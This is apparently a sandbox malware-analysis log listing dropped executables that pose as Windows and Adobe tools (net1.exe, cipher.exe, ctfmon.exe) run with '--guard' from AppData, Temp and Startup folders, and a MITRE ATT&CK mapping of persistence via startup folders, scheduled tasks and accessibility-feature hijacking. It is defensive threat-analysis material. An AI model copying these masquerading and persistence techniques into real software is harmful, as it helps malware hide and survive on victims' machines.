C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\net1.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\net1.exe" --guard
1⤵
- Executes dropped EXE
PID:5276

C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\xcopy.exe
"C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\xcopy.exe" --guard
1⤵
- Executes dropped EXE
PID:8964

C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\cipher.exe
"C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\cipher.exe" --guard
1⤵
- Executes dropped EXE
PID:12108

C:\Users\Admin\AppData\Roaming\PushPublish\Logs\subst.exe
"C:\Users\Admin\AppData\Roaming\PushPublish\Logs\subst.exe" --guard
1⤵
- Executes dropped EXE
PID:6604

C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\setup.exe
"C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\setup.exe" --guard
1⤵
- Executes dropped EXE
PID:428

C:\Users\Admin\AppData\Roaming\Adobe\Logs\lodctr.exe
"C:\Users\Admin\AppData\Roaming\Adobe\Logs\lodctr.exe" --guard
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:8884

C:\ProgramData\MicrosoftService\sxstrace.exe
"C:\ProgramData\MicrosoftService\sxstrace.exe" --guard
1⤵
- Executes dropped EXE
PID:12984

C:\Users\Admin\AppData\Local\MicrosoftService\where.exe
"C:\Users\Admin\AppData\Local\MicrosoftService\where.exe" --guard
1⤵
- Executes dropped EXE
PID:12808

C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\UpdateCache\cipher.exe
"C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\UpdateCache\cipher.exe" --guard
1⤵
- Executes dropped EXE
PID:10028

C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\comp.exe
"C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\comp.exe" --guard
1⤵
- Executes dropped EXE
PID:13152

C:\Users\Admin\AppData\Local\Temp\{45447235-15B8-4571-A2AB-5C8F754C1886}\Logs\lodctr.exe
"C:\Users\Admin\AppData\Local\Temp\{45447235-15B8-4571-A2AB-5C8F754C1886}\Logs\lodctr.exe" --guard
1⤵
- Executes dropped EXE
PID:12160

C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\EhStorAuthn.exe
"C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\EhStorAuthn.exe" --guard
1⤵
- Executes dropped EXE
PID:8136

C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\mspaint.exe
"C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\mspaint.exe" --guard
1⤵
- Executes dropped EXE
PID:13248

C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\clip.exe
"C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\clip.exe" --guard
1⤵
- Executes dropped EXE
PID:7976

C:\Users\Admin\AppData\Roaming\SuspendApprove\Logs\RunLegacyCPLElevated.exe
"C:\Users\Admin\AppData\Roaming\SuspendApprove\Logs\RunLegacyCPLElevated.exe" --guard
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:12600

C:\Users\Admin\AppData\Local\MicrosoftService\TCPSVCS.EXE
"C:\Users\Admin\AppData\Local\MicrosoftService\TCPSVCS.EXE" --guard
1⤵
- Executes dropped EXE
PID:2128

C:\Users\Admin\AppData\Local\MicrosoftService\dxdiag.exe
"C:\Users\Admin\AppData\Local\MicrosoftService\dxdiag.exe" --guard
1⤵
- Executes dropped EXE
PID:10704

C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\EhStorAuthn.exe
"C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\EhStorAuthn.exe" --guard
1⤵
- Executes dropped EXE
PID:11620

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --guard
1⤵
- Executes dropped EXE
PID:5644

C:\Users\Admin\AppData\Roaming\BlockShow\Logs\UpdateCache\UpdateCache\ctfmon.exe
"C:\Users\Admin\AppData\Roaming\BlockShow\Logs\UpdateCache\UpdateCache\ctfmon.exe" --guard
1⤵
- Executes dropped EXE
PID:8848

C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\cipher.exe
"C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\cipher.exe" --guard
1⤵
- Executes dropped EXE
PID:6224

C:\Users\Admin\AppData\Roaming\ImportWrite\Logs\UpdateCache\takeown.exe
"C:\Users\Admin\AppData\Roaming\ImportWrite\Logs\UpdateCache\takeown.exe" --guard
1⤵
- Executes dropped EXE
- Modifies file permissions
PID:5648

C:\Users\Admin\AppData\Roaming\UninstallPop\Logs\UpdateCache\RMActivate_ssp_isv.exe
"C:\Users\Admin\AppData\Roaming\UninstallPop\Logs\UpdateCache\RMActivate_ssp_isv.exe" --guard
1⤵
- Executes dropped EXE
PID:9816

C:\ProgramData\Package Cache\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\UpdateCache\vcredist_x64.exe
"C:\ProgramData\Package Cache\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\UpdateCache\vcredist_x64.exe" --guard
1⤵
PID:10172

C:\ProgramData\SoftwareDistribution\Logs\UpdateCache\ftp.exe
"C:\ProgramData\SoftwareDistribution\Logs\UpdateCache\ftp.exe" --guard
1⤵
PID:7332

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Event Triggered Execution

T1546

Accessibility Features

T1546.008

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Event Triggered Execution

T1546

Accessibility Features

T1546.008

Scheduled Task/Job

T1053

Scheduled Task